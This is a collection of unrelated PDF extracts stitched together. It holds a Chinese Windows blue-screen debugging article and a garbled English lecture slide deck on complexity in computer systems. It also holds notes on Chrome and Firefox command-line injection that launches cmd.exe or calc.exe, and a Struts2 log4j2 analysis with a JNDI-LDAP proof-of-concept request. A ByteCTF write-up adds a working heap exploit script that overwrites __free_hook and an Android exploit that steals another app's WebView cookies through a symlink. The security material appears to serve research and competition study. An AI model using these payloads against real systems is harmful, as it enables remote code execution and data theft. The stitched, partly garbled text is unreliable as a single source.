初始化函数。有些执行体部件使用同一个函数作为阶段 0 和阶段 1 初始化函数,使用 参数来区分。图 1 列出了这一阶段所调用的主要函数,简要说明其中几个: 调用 KeStartAllProcessors()初始化所有 CPU。这个函数会构建并初始化好一个处理器 状态结构,然后调用硬件抽象层的 HalStartNextProcessor 函数将这个结构赋给一个新 的 CPU。新的 CPU 仍然是从 KiSystemStartup 开始执行。 再次调用 KdInitSystem 函数,并且调用 KdDebuggerInitialize1 来初始化内核调试通信 扩展 DLL(KDCOM.DLL 等)。 调用 IO 管理器的阶段 1 初始化函数 IoInitSystem 做设备枚举和驱动加载工作,需要花 很长的时间。 在这一阶段结束前,会创建第一个使用映像文件创建的进程,即会话管理器进程 (SMSS.EXE)。会话管理器进程会初始化 Windows 子系统,创建 Windows 子系统进程和 登录进程(WinLogon.EXE),我们以后再介绍。 0x7B 蓝屏 蓝屏 蓝屏 蓝屏 上面介绍的过程不总是一帆风顺的。如果遇到意外,那么系统通常会以蓝屏形式报告 错误。比如图 2 所示的 0x7B 蓝屏就是发生在内核和执行体初始化期间的(我们上一期的 问题)。 图 2 0x7B 蓝屏 注意这个蓝屏的下方没有转储有关的信息(稍后你就会明白原因了)。 那么应该如何寻找这个蓝屏的故障原因呢? 首先可以根据蓝屏的停止代码 0x7B 查阅 WinDBG 的帮助文件或者 MSDN 了解它的 含义。于是我们知道,0x7B 是 INACCESSIBLE_BOOT_DEVICE 错误的代码,其含义是 不可访问的引导设备。意思是系统在读或者写引导设备时出错了,进一步来说,也就是在 访问包含有系统文件的磁盘分区时出问题了。 访问系统分区怎么会出问题呢?操作系统加载程序刚刚不是还读过系统分区来加载 系统文件了的,现在怎么不能访问了呢?磁盘设备在这两个时间点之间损坏的概率很低, 《软件调试》补编 - 170 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 因此,主要的原因还是因为访问的方式不同了。操作系统加载程序是使用简单的方式来访 问磁盘的,而操作系统内核开始运行后,开始改用更为强大的驱动程序来访问磁盘,而这 里恰恰是常出问题的地方。对于典型的 IDE 硬盘,需要使用 ATAPI.SYS 这个驱动程序来 进行访问。那么 ATAPI 这个驱动是谁来加载的呢?让内核自己来加载,肯定不行,因为 内核是依赖它来访问磁盘的,正所谓“自己的刀刃削不了自己的刀把”。那么应该由谁来 加载呢?OS Loader,也就是 NTLDR 或者 WinLoad。它们怎么知道要加载这个驱动呢?是 根据注册表。图 2 显示了注册表中 ATAPI 驱动程序的各个键值。其中的 Start 键值等于 0 代表是引导类型,Group 键值标志着这个驱动属于 SCSI miniport 这个组。OS Loader 看到 Start 键值为 0 后,就会将这个驱动程序加载到内存中。我们不妨把以这种方式加载的驱动 程序称为第一批加载的驱动程序。 图 3 ATAPI 驱动程序的注册表键值 如果按 F8 通过高级选项菜单中的某一项启动,那么 NTLDR 会显示出它加载的第一 批驱动程序的清单(图 4)。 在上面的清单中,没有 ATAPI.SYS,这正是问题所在。事实上笔者就是将 Start 值改 为 3 来“制造”出这个蓝屏的(读者一定不要草率模仿,以免丢失数据)。 图 4 第一批加载的驱动程序清单 除了观察访问磁盘的关键驱动程序是否加载,还可以使用内核调试来做进一步的分 析。如果目标系统事先没有启用内核调试,那么可以在引导初期按 F8 调出高级引导菜单, 《软件调试》补编 - 171 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 然后选择 Debug。这时系统通常会使用串行口 2(COM2)以波特率 19200 来启用内核调 试引擎(参见《软件调试》18.3.3 P478)。然后使用一根串口通信电缆将目标机器与调试 主机相连接(主机不一定要使用 COM2)。 成功建立调试会话后,在出现蓝屏前,调试器便会收到通知: *** Fatal System Error: 0x0000007b (0xFC8D3528,0xC0000034,0x00000000,0x00000000) 此时观察栈回溯,便可以看到发生蓝屏的过程: kd> kn # ChildEBP RetAddr 00 fc8d3090 805378e7 nt!RtlpBreakWithStatusInstruction 01 fc8d30dc 805383be nt!KiBugCheckDebugBreak+0x19 02 fc8d34bc 805389ae nt!KeBugCheck2+0x574 03 fc8d34dc 806bdc94 nt!KeBugCheckEx+0x1b 04 fc8d3644 806ae093 nt!IopMarkBootPartition+0x113 05 fc8d3694 806a4714 nt!IopInitializeBootDrivers+0x4ba 06 fc8d383c 806a5ab0 nt!IoInitSystem+0x712 07 fc8d3dac 80582fed nt!Phase1Initialization+0x9b5 08 fc8d3ddc 804ff477 nt!PspSystemThreadStartup+0x34 09 00000000 00000000 nt!KiThreadStartup+0x16 这个栈回溯表明这个系统线程正在做执行体的阶段 1 初始化。目前在执行的是 IO 管 理器的 IoInitSystem 函数。后者又调用 IopInitializeBootDrivers 来初始化第一批加载的驱动 程序。IopInitializeBootDrivers 又调用 IopMarkBootPartition 来把引导设备标识上引导标记。 在做标记前,IopMarkBootPartition 需要打开引导设备,获得它的对象指针。但是打开这个 设备时失败了,于是 IopMarkBootPartition 调用 KeBugCheckEx 发起蓝屏,报告错误。 蓝屏停止码的第一个参数是引导设备的路径,使用 dS 命令可以显示其内容: kd> dS fc8d3528 e13fa810 "\ArcName\multi(0)disk(0)rdisk(0)" e13fa850 "partition(1)" 蓝屏停止码的第二个参数是 IopMarkBootPartition 调用 ZwOpenFile 打开引导设备失败 的返回值。使用!error 命令可以显示其含义: kd> !error 0xC0000034 Error code: (NTSTATUS) 0xc0000034 (3221225524) - Object Name not found. 也就是没有这样的设备对象存在,无法打开,这是因为没有加载 ATAPI 驱动。 观察系统中的进程列表,可以看到系统中目前只有 System 进程和 IDLE 进程。 kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS 812917f8 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00039000 ObjectTable: e1000b98 HandleCount: 34. Image: System 使用 lm 观察模块列表,可以看到与图 4 中一致的结果。也就是说,目前系统中还没 有加载普通的驱动程序,必须等到引导类型的驱动程序初始化结束后,也就是访问磁盘和 文件系统的第一批驱动程序准备好了后,才可能加载其它驱动程序。 对于上面分析的例子,原因是由于注册表异常而没有加载必要的 ATAPI.SYS。知道了 原因后,对于 Windows Vista 可以使用我们上一期介绍的用安装光盘引导到恢复控制台, 然后将注册表中的 Start 键值改回到 0 系统便恢复正常了。对于 Windows XP,可以借助 ERD Commander 等工具来引导和修复。 在上一期的读者来信中,天津的黄小非先生给出了很全面的分析,把导致问题的可能 原因归纳为病毒破坏、驱动程序故障和硬件故障三种情况,归纳的很好。关于如何定位原 因,他提到了使用转储文件(DUMP),也是有帮助的。但因为默认的小型转储文件包含 的信息有限,所以我们在上文中重点介绍了利用双机内核调试来跟踪和分析活动的目标。 《软件调试》补编 - 172 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 因为建立内核调试会话的详细步骤很容易找到,所以我们没有详细描述,感觉有困难的朋 友可以参考 WinDBG 帮助文件中 Kernel-Mode Setup 一节,有《软件调试》一书的朋友可 以看第 18 章的前三节。黄小非在来信中还对我们以后要讨论的内容提出了很好的建议, 我们会认真考虑这些建议,在此深表感谢。 下一期的问题: 一台装有 Windows 的系统输入用户名和密码后桌面一闪便自动 Log Off 了,再尝试登 录,现象一样,始终无法进入到正常的桌面状态,哪些原因会导致这样的问题,该如何来 解决?
pdf
calc && notepad chrome.exe urlstr https://www.baidu.com --gpu-launcher="cmd.exe" chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe" chrome chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe" 0x00 0x01 Chrome QQ chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe" 360 chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe" Components.utils.import("resource://gre/modules/Subprocess.jsm"); let opt = { command: "C:\\windows\\system32\\calc.exe", arguments: [], workdir: "C:\\windows\\system32", stderr: "pip e"}; let x = Subprocess.call(opt); -greomni "\\remoteHost\omni.ja" -appomni "\\remoteHost\omni2.ja firefox.exe https://www.baidu.com\t-new-window 0x02 - 0x03 - ​ firefox.exe https://www.baidu.com\t-new-window\thttps://beef\t-headless ​ ​ 0x04 - ​ firefox.exe https://www.baidu.com\t-new-window\thttps://beef\t-headless\t-new-instance -P default 0x05
pdf
1 OLONNONS-StrutsO logQjO RCE研究 看到有⼈分析Struts2 log4j2 RCE 漏洞点位于 org.apache.struts2.dispatcher.DefaultStaticContentLoader#process 具体调⽤过程为⾸先根据过滤器配置 进⼊ org.apache.struts2.dispatcher.filter.StrutsExecuteFilter#doFilter 1.前⾔ 2 当mapping为空时也就是我们请求的路径找不到action时进⼊ executeStaticResourceRequest ⾸先获取 getServletPath 如果 staticResourceLoader.canHandle(resourcePath) 为真的 话进⼊ findStaticResource canHandle的代码如下 Java 复制代码    public boolean executeStaticResourceRequest(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {        String resourcePath = RequestUtils.getServletPath(request);        if ("".equals(resourcePath) && null != request.getPathInfo()) {            resourcePath = request.getPathInfo();       }        StaticContentLoader staticResourceLoader = (StaticContentLoader)this.dispatcher.getContainer().getInstance(StaticCont entLoader.class);        if (staticResourceLoader.canHandle(resourcePath)) {            staticResourceLoader.findStaticResource(resourcePath, request, response);            return true;       } else {            return false;       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 3 判断我们路径中师傅包含 /struts/ 或 /static/ 。进⼊ findStaticResource Java 复制代码    public boolean canHandle(String resourcePath) {        return this.serveStatic && (resourcePath.startsWith("/struts/") || resourcePath.startsWith("/static/"));   } 1 2 3 4 ⾸先如果请求的⽂件存在就读取⽂件,读取的⽂件位于 Java 复制代码    public void findStaticResource(String path, HttpServletRequest request, HttpServletResponse response) throws IOException {        String name = this.cleanupPath(path);        Iterator i$ = this.pathPrefixes.iterator();        InputStream is;        do {            while(true) {                String pathPrefix;                URL resourceUrl;                do {                    if (!i$.hasNext()) {                        try {                            response.sendError(404);                       } catch (IOException var10) {                            this.LOG.warn("Unable to send error response, code: {};", 404, var10);                       } catch (IllegalStateException var11) {                            this.LOG.warn("Unable to send error response, code: {}; isCommited: {};", 404, response.isCommitted(), var11);                       }                        return;                   }                    pathPrefix = (String)i$.next();                    resourceUrl = this.findResource(this.buildPath(name, pathPrefix));               } while(resourceUrl == null);                is = null;                try {                    String pathEnding = this.buildPath(name, pathPrefix);                    if (resourceUrl.getFile().endsWith(pathEnding)) {                        is = resourceUrl.openStream();                   }                    break;               } catch (IOException var12) {               }           }       } while(is == null);        this.process(is, path, request, response);   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 5 然后进⼊ process 6 Java 复制代码    protected void process(InputStream is, String path, HttpServletRequest request, HttpServletResponse response) throws IOException {        if (is != null) {            Calendar cal = Calendar.getInstance();            long ifModifiedSince = 0L;            try {                ifModifiedSince = request.getDateHeader("If-Modified- Since");           } catch (Exception var19) {                this.LOG.warn("Invalid If-Modified-Since header value: '{}', ignoring", request.getHeader("If-Modified-Since"));           }            long lastModifiedMillis = this.lastModifiedCal.getTimeInMillis();            long now = cal.getTimeInMillis();            cal.add(5, 1);            long expires = cal.getTimeInMillis();            if (ifModifiedSince > 0L && ifModifiedSince <= lastModifiedMillis) {                response.setDateHeader("Expires", expires);                response.setStatus(304);                is.close();                return;           }            String contentType = this.getContentType(path);            if (contentType != null) {                response.setContentType(contentType);           }            if (this.serveStaticBrowserCache) {                response.setDateHeader("Date", now);                response.setDateHeader("Expires", expires);                response.setDateHeader("Retry-After", expires);                response.setHeader("Cache-Control", "public");                response.setDateHeader("Last-Modified", lastModifiedMillis);           } else {                response.setHeader("Cache-Control", "no-cache");                response.setHeader("Pragma", "no-cache");                response.setHeader("Expires", "-1");           }            try {                this.copy(is, response.getOutputStream());           } finally { 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 7 此处通过 request.getDateHeader("If-Modified-Since") 获取 If-Modified-Since 头如果 出现异常则将 If-Modified-Since 头的值log输出,最后将⽂件内容返回。跟⼊ getDateHeader 查 看如何引发异常。 当 If-Modified-Since 头的值不能被解析成⽇期格式时就会引发异常,所以直接输⼊log4j2的 payload就⾏。根据整个解析流程构造POC,⾸先请求路径包含 /struts/ 或 /static/ 然后需要 struts2-core-2.5.27.jar!/org/apache/struts2/static/ 路径下⼀个存在的⽂件,最后 If-Modified-Since 头的值为payload 2.分析完的想法 1.任意⽂件读取                is.close();           }       }   } 43 44 45 46 47 Java 复制代码    public long getDateHeader(String name) {        String value = this.getHeader(name);        if (value == null) {            return -1L;       } else {            long result = FastHttpDateFormat.parseDate(value, this.formats);            if (result != -1L) {                return result;           } else {                throw new IllegalArgumentException(value);           }       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 Java 复制代码 GET /struts2-showcase/static/utils.js HTTP/1.1 Host: 127.0.0.1:8083 If-Modified-Since: ${jndi:ldap://5qw88re0wjld6wms7u372acx8oee23.burpcollaborator.net/aaa} Connection: close 1 2 3 4 5 6 8 分析上⾯过程的时候不理解为啥struts2有⼀个这样的流程来获取静态⽂件,感觉这地⽅可能存在漏洞。 于是重新看了⼀下 org.apache.struts2.dispatcher.ExecuteOperations#executeStaticResourceReques t 此处跟⼊ RequestUtils.getServletPath 9 刚开始在这地⽅看了⼀会,后⾯发现这⾥不重要。他以前这个读取静态⽂件流程确实出国漏洞,漏洞编号 为S2-004。 Java 复制代码 public static String getServletPath(HttpServletRequest request) {        String servletPath = request.getServletPath();        String requestUri = request.getRequestURI();        int startIndex;        if (requestUri != null && servletPath != null && !requestUri.endsWith(servletPath)) {            startIndex = requestUri.indexOf(servletPath);            if (startIndex > -1) {                servletPath = requestUri.substring(requestUri.indexOf(servletPath));           }       }        if (StringUtils.isNotEmpty(servletPath)) {            return servletPath;       } else {            startIndex = request.getContextPath().equals("") ? 0 : request.getContextPath().length();            int endIndex = request.getPathInfo() == null ? requestUri.length() : requestUri.lastIndexOf(request.getPathInfo());            if (startIndex > endIndex) {                endIndex = startIndex;           }            return requestUri.substring(startIndex, endIndex);       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 10 主要修复的地⽅在于 org.apache.struts2.dispatcher.DefaultStaticContentLoader#findStaticResource 这⾥这样检测基本没有绕过的可能了。 分析玩上⾯触发 log4shell 的点后感觉这个漏洞点并不是很通⽤,因为⼤多数使⽤struts2框架的站点 xml配置是下⾯这样的。 2.通⽤触发⽅式 11 只有当我们请求的路径结尾为 .action 时才会进⼊struts2的处理流程,⽽上⾯那个漏洞的请求的路径都 是静态⽂件⾃然进⼊不到struts2的处理流程,更别提触发漏洞了。 于是找了⼀个更为通⽤的点位于参数拦截器 com.opensymphony.xwork2.interceptor.ParametersInterceptor#isWithinLengthLim it 当参数名⼤于最⼤⻓度时即可触发 log4shell ,下载了struts2⼏个版本发现官⽅只在2.5.x版本使⽤ log4j2。 在本地搜索 struts2-core-*.jar 12 可能由于⽤struts2开发的站都⽐较⽼的原因⼤多数都是⽤的⾮2.5.x版本。
pdf
w w w .ianange ll.co m Co m ple xity in Co m pute r Syste m s: a Risky Busine ss Pro fe sso r Ian O. Ange ll Info rm atio n Syste m s and Inno vatio n Gro up De partm e nt o f Manage m e nt Lo ndo n Scho o l o f Eco no m ics w w w .ianange ll.co m Why do w e ne e d Te chno lo gy at all? Te chno lo gy transfo rm s unce rtainty into risk. We ‘e xplain’, and the re by sw ap ho pe le ssne ss, fo r the o ptim ism in a plan o f actio n. In o the r w o rds w e im po se structure in o rde r to gain a te nuo us handle o n unce rtainty. w w w .ianange ll.co m (num e rical) Algo rithm s + Pe o ple = (syste m ic) Risk = Hazard + Oppo rtunity Managing Unce rtainty? w w w .ianange ll.co m Managing Unce rtainty? “Tho ugh this be m adne ss, ye t the re is m e tho d in’t” (Ham le t, Act II, Sce ne 2 ) Me tho d is the first, the last, the o nly re so rt o f the m e dio cre w w w .ianange ll.co m De finitio n o f a Singularity: De finitio n o f a Singularity: “the y had to be lucky all the tim e , w e had to be lucky just o nce ” (IRA spo ke sm an afte r the Brighto n bo m bing, w he n the y alm o st kille d Margare t Thatche r) w w w .ianange ll.co m Go o dhart’s Law “any o bse rve d statistical re gularity w ill te nd to co llapse o nce pre ssure is place d o n it fo r co ntro l purpo se s” w w w .ianange ll.co m Be yo nd Go o d and e -Ville Be yo nd Go o d and e -Ville Lo o k to w ard the o bse rvable co nse que ntial risks Lo o k to w ard the o bse rvable co nse que ntial risks that o ccur w he n co m pute rs are inte grate d that o ccur w he n co m pute rs are inte grate d into into Hum an Activity Syste m s Hum an Activity Syste m s w w w .ianange ll.co m Co m pute rs de al w ith o bje ctive w e ll-structure d pro ble m s, w ith de tail. The y canno t co pe w ith subje ctive subtle ty, am biguity and co m ple xity w w w .ianange ll.co m A go o d te chno lo gy platfo rm , altho ugh ne ce ssary, is no t sufficie nt fo r succe ss. Succe ss o r failure w ith a te chno lo gy w ill be de te rm ine d by unique so cial, po litical, o rganizatio nal, and particularly pe rso nal facto rs. w w w .ianange ll.co m Pablo Picasso “Co m pute rs are use le ss, the y o nly give yo u Answ e rs!!!!” w w w .ianange ll.co m BLAST-OFF “yo u are at the to p o f 6 m illio n parts, all m ade by the lo w e st bidde r!” Michae l Co llins w w w .ianange ll.co m The Price : is he re and no w The Co st: accrue s fro m he re to e te rnity w w w .ianange ll.co m A Syste m o r an Installatio n? A Syste m is w hat it be co m e s, w hat it w ill be co m e , NOT w hat it is inte nde d to be . w w w .ianange ll.co m Syste m s m isbe have ! Installatio ns are line ar, syste m s are intrinsically no n-line ar In a line ar w o rld, the co nse que nce s o f an Actio n sto p w ith a Re actio n; in the no n-line ar w o rld o f practice , unfo re se e n co nse que nce s fe e d back as a re sult o f the ine vitable co m ple xity w w w .ianange ll.co m Syste m ic Risk Hazard o r Oppo rtunity? Ne gative Fe e dback: re info rce s stability o r Po sitive Fe e dback: the se e d o f Chao s the Butte rfly Effe ct w w w .ianange ll.co m Co m ple xity incre ase s to a po int w he re utility be co m e s re liance , re liance be co m e s de pe nde nce , and the Law o f Dim inishing Re turns pre cipitate s a gallo ping de sce nt into Nightm are w w w .ianange ll.co m The first ste p fallacy The first ste p fallacy ““ the y think the y are re aching fo r the m o o n, the y think the y are re aching fo r the m o o n, but all the y’ve do ne is clim b the ne are st tre e ” but all the y’ve do ne is clim b the ne are st tre e ” He rbe rt Dre yfus He rbe rt Dre yfus w w w .ianange ll.co m Pre side nt Po m pido u: The re are thre e Ro ads to Ruin, Wo m e n, Gam bling and Te chno lo gy! Wo m e n are the m o st Ple asurable , Gam bling is the Quicke st, but Te chno lo gy is the m o st Ce rtain! w w w .ianange ll.co m Prie st: “do yo u re no unce the de vil and all his w o rks?” Nicco lo Machiave lli: “This is no tim e to be m aking e ne m ie s” w w w .ianange ll.co m The Buck sto ps The re The Buck sto ps The re De fe nsive use o f e -m ails De fe nsive use o f e -m ails Re spo nsibility Re spo nsibility ve rsus ve rsus Autho rity Autho rity w w w .ianange ll.co m The She ll o il re se rve s scandal The She ll o il re se rve s scandal The van de Vijve r e -m ail: The van de Vijve r e -m ail: ““ I am be co m ing sick and tire d I am be co m ing sick and tire d abo ut lying abo ut the abo ut lying abo ut the e xte nt o f o ur re se rve s” e xte nt o f o ur re se rve s” She ll fine d $1 2 0 m illio n by the SEC, She ll fine d $1 2 0 m illio n by the SEC, and £1 7 m illio n by the FSA. and £1 7 m illio n by the FSA. w w w .ianange ll.co m ““ Eve ry re vo lutio n e vapo rate s Eve ry re vo lutio n e vapo rate s and le ave s be hind o nly the and le ave s be hind o nly the slim e o f a ne w bure aucracy” slim e o f a ne w bure aucracy” Franz Kafka w w w .ianange ll.co m the ‘Glass-Co ckpit Syndro m e ’ o m nipre se nt co m pute r scre e ns distract, causing co nfusio n and e rro rs o f judge m e nt 1 ) e nd use rs re ly e ntire ly o n the syste m w itho ut e xe rcising any judge m e nt. 2 ) e nsuing info rm atio n o ve rlo ad re sults in use rs igno ring m any pie ce s o f (so m e tim e s ve ry im po rtant) info rm atio n. w w w .ianange ll.co m Bure aucracy Bure aucracy ‘‘no rm al’ ve rsus ‘singular’ no rm al’ ve rsus ‘singular’ Discre tio n o r Discre tio n o r se lf-re fe re ntial ce rtainty? se lf-re fe re ntial ce rtainty? w w w .ianange ll.co m De nnis He ale y: “Whe n yo u’re in a ho le , STOP DIGGING!!!!” Optim istic ratio nality w w w .ianange ll.co m Mo o ndo g: What I say, I say no w , I say w itho ut co nditio n, that scie nce is but the late st, gre ate st supe rstitio n w w w .ianange ll.co m Alan M. Eddiso n: “Ne w Te chno lo gy o w e s Eco lo gy an Apo lo gy!” Frie drich Nie tzsche : “Madne ss is so m e thing rare in individuals, but in gro ups, partie s, pe o ple s, age s it is the rule .” w w w .ianange ll.co m The Madne ss o f Co ntro l Fre aks Hum an tho ught is m e re calculatio n; w e are bio lo gical analo gue co m pute rs. The ir Hidde n Age nda: 1 ) a num be r can be a m e aningful re pre se ntatio n o f hum an e xpe rie nce ; and 2 ) arithm e tic o pe ratio ns o n such re pre se ntatio ns, im ple m e nte d o n a co m pute r, can pro duce ‘ratio nal de cisio ns’ abo ut, and can co ntro l the hum an co nditio n. w w w .ianange ll.co m The Unce rtainty Principle The re ’s no po int in m e asuring so m e thing if it change s the m o m e nt it is m e asure d, as a dire ct re sult o f be ing m e asure d. Pro filing? w w w .ianange ll.co m Pe te r Principle o f Co m pute rizatio n Individuals and Co m pute rs are pro m o te d to the le ve l o f the ir INCOMPETENCE. But w o rse ..... co m pute rs m agnify and am plify the inco m pe te nce o f all tho se aro und w w w .ianange ll.co m The figure s do n’t lie ? The figure s do n’t lie ? ““ It’s no t the figure s lying, It’s no t the figure s lying, it’s the liars figuring” it’s the liars figuring” Mark Tw ain w w w .ianange ll.co m Ato m ism Sim ilarity = Sam e ne ss False Oppo site s: Pre te nd to be se rio us the n Pre te nd to be funny w w w .ianange ll.co m Frie drich Nie tzsche : “capricio us divisio n and fragm e ntatio n” Shake spe are “The fault, de ar Brutus, lie s no t in o ur stars, but in o urse lve s ...” Niklas Luhm ann The Fallacy o f the Re sidual Cate go ry w w w .ianange ll.co m Niklas Luhm ann: “The co nce pt o f the e nviro nm e nt sho uld no t be m isunde rsto o d as a kind o f re sidual cate go ry. Inste ad, re latio nship to the e nviro nm e nt is co nstitutive in syste m fo rm atio n.” Structural Co upling The Bo rro m e an Rings w w w .ianange ll.co m the two artificially separated parts continue to operate (and interrelate) as the unobservable whole. Because of this asymmetry (between the world as it is, and as it is observed), all observation is conditional, but those conditions are necessarily unobservable, unappreciable, uncertain. w w w .ianange ll.co m Those truncated structural couplings, so casually discarded by observation, stay on as uncertainties and thus, as risks to the observer in any further observations, and they can reassert themselves in the most inconvenient ways. The nine m o st te rrifying w o rds in the English language : “I’m fro m the go ve rnm e nt. I’m he re to he lp yo u” Pre side nt Ro nald Re agan “Our so cie ty is run by insane pe o ple fo r insane o bje ctive s. I think w e ’re be ing run by m aniacs fo r m aniacal e nds ...” Jo hn Le nno n
pdf
ByteCTF WriteUp By Nu1L author:Nu1L ByteCTF WriteUp By Nu1L Pwn ByteCSMS Babyandroid eazydroid bytezoom Reverse languages binding moderncpp 0x6d21 Web Unsecure Blog double sqli Misc checkin Survey HearingNotBelieving Crypto JustDecrypt overhead easyxor Pwn ByteCSMS #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name): log.success(name+' = '+hex(eval(name))) elf = ELF("./pwn") libc = ELF("./libc.so.6") if(len(sys.argv)==1): #local cmd = ["./pwn"] sh = process(cmd) else: #remtoe sh = remote("39.105.103.24", 30011) def Num(n): sh.sendline(str(n)) def Login(): while True: sh.recvuntil('Password for admin:\n') sh.send('\x00'*0x18) res = sh.recv(9) if(res!='Incorrect'): break def Cmd(n): sh.recvuntil('> ') Num(n) def Add(name, score, nl=True): Cmd(1) sh.recvuntil('Enter the ctfer\'s name:\n') if(nl): sh.sendline(name) else: sh.send(name) sh.recvuntil('Enter the ctfer\'s scores\n') Num(score) sh.recvuntil('Enter 1 to add another, enter the other to return\n') Num(2) def RemoveByName(name): Cmd(2) sh.recvuntil('2.Remove by index\n') Num(1) sh.recvuntil('he name of the ctfer to be deleted\n') sh.sendline(name) def RemoveByIdx(idx): Cmd(2) sh.recvuntil('2.Remove by index\n') Num(2) sh.recvuntil('Index?\n') Num(idx) def EditByName(name, new_name, sco): Cmd(3) sh.recvuntil('2.Edit by index\n') Num(1) sh.recvuntil('Enter the name of the ctfer to be edit\n') sh.sendline(name) sh.recvuntil('Search results are as follows\n') res = sh.recvuntil('Enter the new name:\n', drop=True) sh.sendline(new_name) sh.recvuntil('Enter the new score:\n') Num(sco) return res def EditByIdx(idx, new_name, sco): Cmd(3) sh.recvuntil('2.Edit by index\n') Num(2) sh.recvuntil('Index?\n') Num(idx) res = sh.recvuntil('Enter the new name:\n', drop=True) sh.sendline(new_name) sh.recvuntil('Enter the new score:\n') Num(sco) return res def Upload(): Cmd(4) def Download(): Cmd(5) def GDB(): gdb.attach(sh, ''' break *(0x0000555555554000+0x1896) telescope 0x00007fffffffdfa0 3 telescope 0x000055555575b290 3 telescope (0x0000555555554000+0x207280) 1 heap bins break malloc break free set *(long long*)0x000055555576fef0 = 0x000055555575e020 ''') Login() def WriteSize(idx, off, sz): EditByIdx(idx, 'A'*(off+3), 0) EditByIdx(idx, 'A'*(off+2), 0) EditByIdx(idx, 'A'*(off+1), 0) EditByIdx(idx, 'A'*(off)+sz, 0) Add('0', 0) # A Upload() # B # 这⾥需要预先构造⼀个0x410的chunk并释放, 因为后续两个vector申请0x410, 有两次申请tcache的机会, 2.31下会检查size, 所以先放⼀个增加size exp = '\x00'*0x18+p16(0x411) EditByIdx(0, exp, 0)# B's size = 0x411 Upload() # get C, free a 0x411 chunk # 溢出chunk的size为0x431, 虽然0x421也是UBchunk, 但是cin⽆法写⼊0x20, 也就是空格因此使⽤0x30 exp = '\x00'*0x18+p64(0x411) exp+= '\x00'*0x18+p64(0x431) EditByIdx(0, exp, 0) #C's size = 0x431 # 扩⼤栈上的vector1, 伪造UBchunk的nextchunk for i in range(31): Add(str(i+1), 0) exp = '\x00'*0x1d0 exp+= flat(0, 0x31) exp+= '\x00'*0x20 exp+= flat(0, 0x411) EditByIdx(0, exp, 0) #upload的vector2先尽量从⼩size申请, 并且申请⼀个位于vector1后⾯的位置, 这样Edit时可以随意溢出, 申 请0x60的为的是避免从tcache中取chunk for i in range(31, 2, -1): RemoveByIdx(i) Upload() # 0x60, free B, get UB chunk # 溢出vector2的chunk size为0x411, 为后续两个vector申请chunk做铺垫 exp = '\x00'*0x1d0 exp+= flat(0x430, 0x30) exp+= '\x00'*0x20 exp+= flat(0, 0x411) EditByIdx(0, exp, 0) # 开始切割UB, 并且申请的size要避开tcache中已有的, 并且要⼩于0x200/2, 不然后⾯没法申请0x210的与 0x410的, 这两个size必须要申请 Upload() # 0xa0 # 切割0x210的, 同时获取第⼆个0x411的chunk for i in range(18+3): # 0x210 Add(str(i+1), 0) Upload() # 0x210 # 现在UB头已经在vector1内部了, 泄露libc地址 res = EditByIdx(7, 'A', 0) pos = res.find('Scores\n\x37\x09')+9 Babyandroid 抄ppt.jpg eazydroid 利⽤思路: 1. 利⽤第⼀个 WebView 将 xss 写⼊到 Cookies ⽂件 2. Attacker 创建 Cookies 的符号链接 3. 利⽤第⼆个 WebView 通过 file 协议渲染 Cookies.html Attacker.apk 关键代码 libc.address = u64(res[pos:pos+6]+'\x00\x00')-0x1ebbe0 Log('libc.address') # 劫持vector1后⾯哪⼀个0x410chunk的fd EditByIdx(14, cyclic(304)+p64(libc.symbols['__free_hook']-0x10), 0) #alloc to hook # 申请⼀次0x400的chunk Upload() EditByIdx(0, '/bin/sh\x00'*2+p64(libc.symbols['system']), 0) # 申请第⼆次0x400的chunk, 写⼊hook for i in range(3+5): Add('X'+str(i), 0) #GDB() Cmd(1) sh.interactive() ''' ''' public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Uri u = Uri.parse("<http://toutiao.com.nu1l.com:1448/getexp>"); Log.d("q111", u.getAuthority()); symlink(); lunch("<http://toutiao.com.nu1l.com:1448/getexp?data=>" + lunch2() ); exp } String lunch2() { String root = getApplicationInfo().dataDir; String symlink = root + "/symlink.html"; Intent i = new Intent(); i.putExtra("url", "file://" + symlink); //i.putExtra("url", "<https://www.baidu.com>"); i.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.TestActivity"); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); Log.d("q111", "lunch: " + i.toUri(0)); Log.d("q111", "lunch: " + i.toUri(0)); return Base64.encodeToString(i.toUri(0).getBytes(), Base64.DEFAULT); } void lunch(String url) { Intent i = new Intent(); Uri uri = Uri.parse(url); i.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity"); i.setData(uri); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); // Log.d("q111", "lunch: " + i.toUri(0)); startActivity(i); } void symlink() { try { String root = getApplicationInfo().dataDir; String symlink = root + "/symlink.html"; String cookie = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies"; Runtime.getRuntime().exec("rm " + symlink).waitFor(); Runtime.getRuntime().exec("ln -s " + cookie + " " + symlink).waitFor(); Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor(); } catch (Throwable e) { throw new RuntimeException(e); } } } bytezoom UAF进⼊manage时select_pet并没有被清0 , 还是上次的如果select之后退出, 